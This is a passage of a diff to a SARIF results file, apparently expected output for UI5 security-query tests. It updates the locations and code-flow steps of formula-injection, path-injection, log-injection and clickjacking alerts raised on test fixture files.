               },
               "message" : {
-                "text" : "oControl.getText()"
+                "text" : "url.par ... , true)"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/control/xss.js",
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 59
+                  "index" : 3
                 },
                 "region" : {
-                  "startLine" : 15,
-                  "startColumn" : 21,
-                  "endColumn" : 47
+                  "startLine" : 21,
+                  "startColumn" : 9,
+                  "endColumn" : 37
                 }
               },
               "message" : {
-                "text" : "value"
+                "text" : "q"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/control/xss.js",
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 59
+                  "index" : 3
                 },
                 "region" : {
-                  "startLine" : 17,
-                  "startColumn" : 53,
-                  "endColumn" : 58
+                  "startLine" : 22,
+                  "startColumn" : 17,
+                  "endColumn" : 18
                 }
               },
               "message" : {
-                "text" : "value"
+                "text" : "q"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/control/xss.js",
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 59
+                  "index" : 3
                 },
                 "region" : {
-                  "startLine" : 17,
-                  "startColumn" : 46,
-                  "endColumn" : 59
+                  "startLine" : 22,
+                  "startColumn" : 17,
+                  "endColumn" : 24
                 }
               },
               "message" : {
-                "text" : "String(value)"
+                "text" : "q.query"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/control/xss.js",
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 59
+                  "index" : 3
                 },
                 "region" : {
-                  "startLine" : 17,
-                  "startColumn" : 36,
-                  "endColumn" : 60
+                  "startLine" : 22,
+                  "startColumn" : 17,
+                  "endColumn" : 33
                 }
               },
               "message" : {
-                "text" : "encodeX ... value))"
+                "text" : "q.query.username"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/control/xss.js",
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 59
+                  "index" : 3
                 },
                 "region" : {
-                  "startLine" : 17,
-                  "startColumn" : 21,
-                  "endColumn" : 60
+                  "startLine" : 22,
+                  "startColumn" : 9,
+                  "endColumn" : 33
                 }
               },
               "message" : {
-                "text" : "xssSanitized"
+                "text" : "value"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/control/xss.js",
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 59
+                  "index" : 3
                 },
                 "region" : {
                   "startLine" : 23,
-                  "startColumn" : 27,
-                  "endColumn" : 39
+                  "startColumn" : 39,
+                  "endColumn" : 44
                 }
               },
               "message" : {
-                "text" : "xssSanitized"
+                "text" : "value"
               }
             }
-          } ]
-        } ]
-      } ],
-      "relatedLocations" : [ {
-        "id" : 1,
-        "physicalLocation" : {
-          "artifactLocation" : {
-            "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-custom-control-sanitized/webapp/view/app.view.xml",
-            "uriBaseId" : "%SRCROOT%",
-            "index" : 64
-          },
-          "region" : {
-            "startLine" : 5,
-            "startColumn" : 5,
-            "endLine" : 7,
-            "endColumn" : 29
-          }
-        },
-        "message" : {
-          "text" : "user-provided value"
-        }
-      } ]
-    }, {
-      "ruleId" : "js/ui5-formula-injection",
-      "rule" : {
-        "id" : "js/ui5-formula-injection",
-        "index" : 2,
-        "toolComponent" : {
-          "index" : 0
-        }
-      },
-      "message" : {
-        "text" : "The content of a saved file depends on a [user-provided value](1)."
-      },
-      "locations" : [ {
-        "physicalLocation" : {
-          "artifactLocation" : {
-            "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/webapp/controller/app.controller.js",
-            "uriBaseId" : "%SRCROOT%",
-            "index" : 68
-          },
-          "region" : {
-            "startLine" : 16,
-            "startColumn" : 23,
-            "endColumn" : 51
-          }
-        }
-      } ],
-      "partialFingerprints" : {
-        "primaryLocationLineHash" : "e701acdf85af03b4:1",
-        "primaryLocationStartColumnFingerprint" : "10"
-      },
-      "codeFlows" : [ {
-        "threadFlows" : [ {
-          "locations" : [ {
+          }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/webapp/view/app.view.xml",
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 73
+                  "index" : 3
                 },
                 "region" : {
-                  "startLine" : 5,
-                  "startColumn" : 5,
-                  "endLine" : 7,
-                  "endColumn" : 29
+                  "startLine" : 23,
+                  "startColumn" : 18,
+                  "endColumn" : 45
                 }
               },
               "message" : {
-                "text" : "value={/input}"
+                "text" : "jQuery. ... (value)"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/webapp/controller/app.controller.js",
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 68
+                  "index" : 3
                 },
                 "region" : {
-                  "startLine" : 10,
-                  "startColumn" : 17,
-                  "endColumn" : 28
+                  "startLine" : 23,
+                  "startColumn" : 9,
+                  "endColumn" : 45
                 }
               },
               "message" : {
-                "text" : "input: null"
+                "text" : "value1"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/webapp/controller/app.controller.js",
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 68
+                  "index" : 3
                 },
                 "region" : {
-                  "startLine" : 16,
-                  "startColumn" : 23,
-                  "endColumn" : 51
+                  "startLine" : 25,
+                  "startColumn" : 26,
+                  "endColumn" : 32
                 }
               },
               "message" : {
-                "text" : "oModel. ... input')"
+                "text" : "value1"
               }
             }
           } ]
@@ -17866,15 +20023,14 @@
         "id" : 1,
         "physicalLocation" : {
           "artifactLocation" : {
-            "uri" : "javascript/frameworks/ui5/test/queries/UI5FormulaInjection/formula-html-control-df/webapp/view/app.view.xml",
+            "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 73
+            "index" : 3
           },
           "region" : {
-            "startLine" : 5,
-            "startColumn" : 5,
-            "endLine" : 7,
-            "endColumn" : 29
+            "startLine" : 21,
+            "startColumn" : 23,
+            "endColumn" : 30
           }
         },
         "message" : {
@@ -17882,34 +20038,34 @@
         }
       } ]
     }, {
-      "ruleId" : "js/ui5-path-injection",
+      "ruleId" : "js/ui5-log-injection",
       "rule" : {
-        "id" : "js/ui5-path-injection",
+        "id" : "js/ui5-log-injection",
         "index" : 3,
         "toolComponent" : {
-          "index" : 0
+          "index" : 1
         }
       },
       "message" : {
-        "text" : "The path of a saved file depends on a [user-provided value](1)."
+        "text" : "Log entry depends on a [user-provided value](1)."
       },
       "locations" : [ {
         "physicalLocation" : {
           "artifactLocation" : {
-            "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/webapp/control/xss.js",
+            "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/webapp/control/xss.js",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 103
+            "index" : 115
           },
           "region" : {
-            "startLine" : 17,
-            "startColumn" : 43,
-            "endColumn" : 61
+            "startLine" : 13,
+            "startColumn" : 38,
+            "endColumn" : 56
           }
         }
       } ],
       "partialFingerprints" : {
-        "primaryLocationLineHash" : "68e5ff83e2198ff5:1",
-        "primaryLocationStartColumnFingerprint" : "26"
+        "primaryLocationLineHash" : "fb0b88ea7a3fc8f1:1",
+        "primaryLocationStartColumnFingerprint" : "21"
       },
       "codeFlows" : [ {
         "threadFlows" : [ {
@@ -17917,9 +20073,9 @@
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/webapp/view/app.view.xml",
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/webapp/view/app.view.xml",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 108
+                  "index" : 121
                 },
                 "region" : {
                   "startLine" : 5,
@@ -17936,9 +20092,9 @@
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/webapp/controller/app.controller.js",
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/webapp/controller/app.controller.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 104
+                  "index" : 116
                 },
                 "region" : {
                   "startLine" : 9,
@@ -17954,12 +20110,12 @@
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/webapp/control/xss.js",
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/webapp/control/xss.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 103
+                  "index" : 115
                 },
                 "region" : {
-                  "startLine" : 8,
+                  "startLine" : 7,
                   "startColumn" : 23,
                   "endColumn" : 38
                 }
@@ -17972,14 +20128,14 @@
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/webapp/control/xss.js",
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/webapp/control/xss.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 103
+                  "index" : 115
                 },
                 "region" : {
-                  "startLine" : 17,
-                  "startColumn" : 43,
-                  "endColumn" : 61
+                  "startLine" : 13,
+                  "startColumn" : 38,
+                  "endColumn" : 56
                 }
               },
               "message" : {
@@ -17993,9 +20149,9 @@
         "id" : 1,
         "physicalLocation" : {
           "artifactLocation" : {
-            "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-property-sanitized/webapp/view/app.view.xml",
+            "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-property-sanitized/webapp/view/app.view.xml",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 108
+            "index" : 121
           },
           "region" : {
             "startLine" : 5,
@@ -18009,34 +20165,34 @@
         }
       } ]
     }, {
-      "ruleId" : "js/ui5-path-injection",
+      "ruleId" : "js/ui5-log-injection",
       "rule" : {
-        "id" : "js/ui5-path-injection",
+        "id" : "js/ui5-log-injection",
         "index" : 3,
         "toolComponent" : {
-          "index" : 0
+          "index" : 1
         }
       },
       "message" : {
-        "text" : "The path of a saved file depends on a [user-provided value](1)."
+        "text" : "Log entry depends on a [user-provided value](1)."
       },
       "locations" : [ {
         "physicalLocation" : {
           "artifactLocation" : {
-            "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/webapp/control/xss.js",
+            "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/webapp/control/xss.js",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 111
+            "index" : 125
           },
           "region" : {
-            "startLine" : 23,
-            "startColumn" : 43,
-            "endColumn" : 55
+            "startLine" : 17,
+            "startColumn" : 38,
+            "endColumn" : 47
           }
         }
       } ],
       "partialFingerprints" : {
-        "primaryLocationLineHash" : "b79de9dff4d8f842:1",
-        "primaryLocationStartColumnFingerprint" : "26"
+        "primaryLocationLineHash" : "f32b0dcd4573d6a3:1",
+        "primaryLocationStartColumnFingerprint" : "21"
       },
       "codeFlows" : [ {
         "threadFlows" : [ {
@@ -18044,9 +20200,9 @@
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/webapp/view/app.view.xml",
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/webapp/view/app.view.xml",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 117
+                  "index" : 130
                 },
                 "region" : {
                   "startLine" : 5,
@@ -18063,9 +20219,9 @@
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/webapp/controller/app.controller.js",
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/webapp/controller/app.controller.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 112
+                  "index" : 126
                 },
                 "region" : {
                   "startLine" : 9,
@@ -18081,12 +20237,12 @@
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/webapp/control/xss.js",
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/webapp/control/xss.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 111
+                  "index" : 125
                 },
                 "region" : {
-                  "startLine" : 9,
+                  "startLine" : 8,
                   "startColumn" : 23,
                   "endColumn" : 41
                 }
@@ -18099,9 +20255,9 @@
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/webapp/control/xss.js",
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/webapp/control/xss.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 111
+                  "index" : 125
                 },
                 "region" : {
                   "startLine" : 15,
@@ -18117,9 +20273,9 @@
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/webapp/control/xss.js",
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/webapp/control/xss.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 111
+                  "index" : 125
                 },
                 "region" : {
                   "startLine" : 15,
@@ -18135,14 +20291,14 @@
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/webapp/control/xss.js",
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/webapp/control/xss.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 111
+                  "index" : 125
                 },
                 "region" : {
-                  "startLine" : 17,
-                  "startColumn" : 53,
-                  "endColumn" : 58
+                  "startLine" : 16,
+                  "startColumn" : 50,
+                  "endColumn" : 55
                 }
               },
               "message" : {
@@ -18153,14 +20309,14 @@
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/webapp/control/xss.js",
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/webapp/control/xss.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 111
+                  "index" : 125
                 },
                 "region" : {
-                  "startLine" : 17,
-                  "startColumn" : 46,
-                  "endColumn" : 59
+                  "startLine" : 16,
+                  "startColumn" : 43,
+                  "endColumn" : 56
                 }
               },
               "message" : {
@@ -18171,14 +20327,14 @@
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/webapp/control/xss.js",
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/webapp/control/xss.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 111
+                  "index" : 125
                 },
                 "region" : {
-                  "startLine" : 17,
-                  "startColumn" : 36,
-                  "endColumn" : 60
+                  "startLine" : 16,
+                  "startColumn" : 33,
+                  "endColumn" : 57
                 }
               },
               "message" : {
@@ -18189,145 +20345,36 @@
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/webapp/control/xss.js",
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/webapp/control/xss.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 111
+                  "index" : 125
                 },
                 "region" : {
-                  "startLine" : 17,
+                  "startLine" : 16,
                   "startColumn" : 21,
-                  "endColumn" : 60
+                  "endColumn" : 57
                 }
               },
               "message" : {
-                "text" : "xssSanitized"
+                "text" : "sanitized"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/webapp/control/xss.js",
-                  "uriBaseId" : "%SRCROOT%",
-                  "index" : 111
-                },
-                "region" : {
-                  "startLine" : 23,
-                  "startColumn" : 43,
-                  "endColumn" : 55
-                }
-              },
-              "message" : {
-                "text" : "xssSanitized"
-              }
-            }
-          } ]
-        } ]
-      } ],
-      "relatedLocations" : [ {
-        "id" : 1,
-        "physicalLocation" : {
-          "artifactLocation" : {
-            "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-custom-control-sanitized/webapp/view/app.view.xml",
-            "uriBaseId" : "%SRCROOT%",
-            "index" : 117
-          },
-          "region" : {
-            "startLine" : 5,
-            "startColumn" : 5,
-            "endLine" : 7,
-            "endColumn" : 29
-          }
-        },
-        "message" : {
-          "text" : "user-provided value"
-        }
-      } ]
-    }, {
-      "ruleId" : "js/ui5-path-injection",
-      "rule" : {
-        "id" : "js/ui5-path-injection",
-        "index" : 3,
-        "toolComponent" : {
-          "index" : 0
-        }
-      },
-      "message" : {
-        "text" : "The path of a saved file depends on a [user-provided value](1)."
-      },
-      "locations" : [ {
-        "physicalLocation" : {
-          "artifactLocation" : {
-            "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-html-control-df/webapp/controller/app.controller.js",
-            "uriBaseId" : "%SRCROOT%",
-            "index" : 121
-          },
-          "region" : {
-            "startLine" : 16,
-            "startColumn" : 39,
-            "endColumn" : 67
-          }
-        }
-      } ],
-      "partialFingerprints" : {
-        "primaryLocationLineHash" : "de27f6d546a116e8:1",
-        "primaryLocationStartColumnFingerprint" : "26"
-      },
-      "codeFlows" : [ {
-        "threadFlows" : [ {
-          "locations" : [ {
-            "location" : {
-              "physicalLocation" : {
-                "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-html-control-df/webapp/view/app.view.xml",
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/webapp/control/xss.js",
                   "uriBaseId" : "%SRCROOT%",
                   "index" : 125
                 },
                 "region" : {
-                  "startLine" : 5,
-                  "startColumn" : 5,
-                  "endLine" : 7,
-                  "endColumn" : 29
-                }
-              },
-              "message" : {
-                "text" : "value={/input}"
-              }
-            }
-          }, {
-            "location" : {
-              "physicalLocation" : {
-                "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-html-control-df/webapp/controller/app.controller.js",
-                  "uriBaseId" : "%SRCROOT%",
-                  "index" : 121
-                },
-                "region" : {
-                  "startLine" : 10,
-                  "startColumn" : 17,
-                  "endColumn" : 28
-                }
-              },
-              "message" : {
-                "text" : "input: null"
-              }
-            }
-          }, {
-            "location" : {
-              "physicalLocation" : {
-                "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-html-control-df/webapp/controller/app.controller.js",
-                  "uriBaseId" : "%SRCROOT%",
-                  "index" : 121
-                },
-                "region" : {
-                  "startLine" : 16,
-                  "startColumn" : 39,
-                  "endColumn" : 67
+                  "startLine" : 17,
+                  "startColumn" : 38,
+                  "endColumn" : 47
                 }
               },
               "message" : {
-                "text" : "oModel. ... input')"
+                "text" : "sanitized"
               }
             }
           } ]
@@ -18337,9 +20384,9 @@
         "id" : 1,
         "physicalLocation" : {
           "artifactLocation" : {
-            "uri" : "javascript/frameworks/ui5/test/queries/UI5PathInjection/path-html-control-df/webapp/view/app.view.xml",
+            "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-custom-control-sanitized/webapp/view/app.view.xml",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 125
+            "index" : 130
           },
           "region" : {
             "startLine" : 5,
@@ -18356,9 +20403,9 @@
       "ruleId" : "js/ui5-log-injection",
       "rule" : {
         "id" : "js/ui5-log-injection",
-        "index" : 4,
+        "index" : 3,
         "toolComponent" : {
-          "index" : 0
+          "index" : 1
         }
       },
       "message" : {
@@ -18367,19 +20414,19 @@
       "locations" : [ {
         "physicalLocation" : {
           "artifactLocation" : {
-            "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
+            "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-html-control-df/webapp/controller/app.controller.js",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 3
+            "index" : 133
           },
           "region" : {
-            "startLine" : 8,
-            "startColumn" : 26,
-            "endColumn" : 31
+            "startLine" : 17,
+            "startColumn" : 34,
+            "endColumn" : 39
           }
         }
       } ],
       "partialFingerprints" : {
-        "primaryLocationLineHash" : "62d5a4db56a18502:1",
+        "primaryLocationLineHash" : "392fd43c95c7be9c:1",
         "primaryLocationStartColumnFingerprint" : "21"
       },
       "codeFlows" : [ {
@@ -18388,54 +20435,91 @@
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-html-control-df/webapp/view/app.view.xml",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 3
+                  "index" : 138
                 },
                 "region" : {
-                  "startLine" : 6,
+                  "startLine" : 5,
+                  "startColumn" : 5,
+                  "endLine" : 7,
+                  "endColumn" : 29
+                }
+              },
+              "message" : {
+                "text" : "value={/input}"
+              }
+            }
+          }, {
+            "location" : {
+              "physicalLocation" : {
+                "artifactLocation" : {
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-html-control-df/webapp/controller/app.controller.js",
+                  "uriBaseId" : "%SRCROOT%",
+                  "index" : 133
+                },
+                "region" : {
+                  "startLine" : 9,
                   "startColumn" : 17,
-                  "endColumn" : 51
+                  "endColumn" : 28
                 }
               },
               "message" : {
-                "text" : "jQuery. ... param\")"
+                "text" : "input: null"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-html-control-df/webapp/controller/app.controller.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 3
+                  "index" : 133
                 },
                 "region" : {
-                  "startLine" : 6,
-                  "startColumn" : 9,
-                  "endColumn" : 51
+                  "startLine" : 15,
+                  "startColumn" : 25,
+                  "endColumn" : 53
                 }
               },
               "message" : {
-                "text" : "value"
+                "text" : "oModel. ... input')"
               }
             }
           }, {
             "location" : {
               "physicalLocation" : {
                 "artifactLocation" : {
-                  "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-html-control-df/webapp/controller/app.controller.js",
                   "uriBaseId" : "%SRCROOT%",
-                  "index" : 3
+                  "index" : 133
                 },
                 "region" : {
-                  "startLine" : 8,
-                  "startColumn" : 26,
-                  "endColumn" : 31
+                  "startLine" : 15,
+                  "startColumn" : 17,
+                  "endColumn" : 53
                 }
               },
               "message" : {
-                "text" : "value"
+                "text" : "input"
+              }
+            }
+          }, {
+            "location" : {
+              "physicalLocation" : {
+                "artifactLocation" : {
+                  "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-html-control-df/webapp/controller/app.controller.js",
+                  "uriBaseId" : "%SRCROOT%",
+                  "index" : 133
+                },
+                "region" : {
+                  "startLine" : 17,
+                  "startColumn" : 34,
+                  "endColumn" : 39
+                }
+              },
+              "message" : {
+                "text" : "input"
               }
             }
           } ]
@@ -18445,14 +20529,15 @@
         "id" : 1,
         "physicalLocation" : {
           "artifactLocation" : {
-            "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/avoid-duplicate-alerts/LogInjectionTest.js",
+            "uri" : "javascript/frameworks/ui5/test/queries/UI5LogInjection/log-html-control-df/webapp/view/app.view.xml",
             "uriBaseId" : "%SRCROOT%",
-            "index" : 3
+            "index" : 138
           },
           "region" : {
-            "startLine" : 6,
-            "startColumn" : 17,
-            "endColumn" : 51
+            "startLine" : 5,
+            "startColumn" : 5,
+            "endLine" : 7,
+            "endColumn" : 29
           }
         },
         "message" : {
@@ -18460,34 +20545,152 @@
         }
       } ]
     }, {
-      "ruleId" : "js/ui5-log-injection",
+      "ruleId" : "js/ui5-clickjacking",
       "rule" : {
-        "id" : "js/ui5-log-injection",
+        "id" : "js/ui5-clickjacking",
+        "index" : 4,
+        "toolComponent" : {
+          "index" : 1
+        }
+      },
+      "message" : {
+        "text" : "Possible clickjacking vulnerability due to window\\[ ... onfig\"\\] being set to `allow`."
+      },
+      "locations" : [ {
+        "physicalLocation" : {
+          "artifactLocation" : {
+            "uri" : "javascript/frameworks/ui5/test/queries/UI5Clickjacking/clickjacking-allow-all/index.html",
+            "uriBaseId" : "%SRCROOT%",
+            "index" : 81
+          },
+          "region" : {
+            "startLine" : 9,
+            "startColumn" : 9,
+            "endColumn" : 32
+          }
+        }
+      } ],
+      "partialFingerprints" : {
+        "primaryLocationLineHash" : "6152b8f74a1abdf5:1",
+        "primaryLocationStartColumnFingerprint" : "0"
+      }
+    }, {
+      "ruleId" : "js/ui5-clickjacking",
+      "rule" : {
+        "id" : "js/ui5-clickjacking",
+        "index" : 4,
+        "toolComponent" : {
+          "index" : 1
+        }
+      },
+      "message" : {
+        "text" : "Possible clickjacking vulnerability due to data-sap-ui-frameOptions=allow being set to `allow`."
+      },
+      "locations" : [ {
+        "physicalLocation" : {
+          "artifactLocation" : {
+            "uri" : "javascript/frameworks/ui5/test/queries/UI5Clickjacking/clickjacking-allow-all/index.html",
+            "uriBaseId" : "%SRCROOT%",
+            "index" : 81
+          },
+          "region" : {
+            "startLine" : 28,
+            "startColumn" : 34,
+            "endColumn" : 66
+          }
+        }
+      } ],
+      "partialFingerprints" : {
+        "primaryLocationLineHash" : "b01bd23ca3666824:1",
+        "primaryLocationStartColumnFingerprint" : "25"
+      }
+    }, {
+      "ruleId" : "js/ui5-clickjacking",
+      "rule" : {
+        "id" : "js/ui5-clickjacking",
+        "index" : 4,
+        "toolComponent" : {
+          "index" : 1
+        }
+      },
+      "message" : {
+        "text" : "Possible clickjacking vulnerability due to missing frame options."
+      },
+      "locations" : [ {
+        "physicalLocation" : {
+          "artifactLocation" : {
+            "uri" : "javascript/frameworks/ui5/test/queries/UI5Clickjacking/clickjacking-default-all/index.html",
+            "uriBaseId" : "%SRCROOT%",
+            "index" : 83
+          },
+          "region" : {
+            "startLine" : 2,
+            "endColumn" : 16
+          }
+        }
+      } ],
+      "partialFingerprints" : {
+        "primaryLocationLineHash" : "7fe81114896a63c:1",
+        "primaryLocationStartColumnFingerprint" : "0"
+      }
+    }, {
+      "ruleId" : "js/ui5-clickjacking",
+      "rule" : {
+        "id" : "js/ui5-clickjacking",
         "index" : 4,
+        "toolComponent" : {
+          "index" : 1
+        }
+      },
+      "message" : {
